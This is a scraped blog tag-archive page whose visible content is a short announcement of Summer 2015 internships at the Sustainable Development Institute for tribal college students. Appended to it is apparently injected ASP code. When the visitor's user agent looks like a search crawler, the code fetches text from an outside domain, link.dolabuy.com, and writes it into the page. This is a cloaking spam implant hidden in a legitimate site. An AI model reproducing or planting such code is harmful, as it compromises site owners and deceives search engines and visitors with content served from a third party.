Tag Archive: Summer

Mar 27

SUMMER 2015 – SDI INTERNSHIPS

The following internships are being announced for Summer 2015 with the Sustainable Development Institute. Please use the link for the specific internship you are interested in applying for. CMN SDI will focus first on recruiting students from College of Menominee Nation. However, depending on response the internships may be opened to tribal students attending other …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2015/03/summer-2015-sdi-internships/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>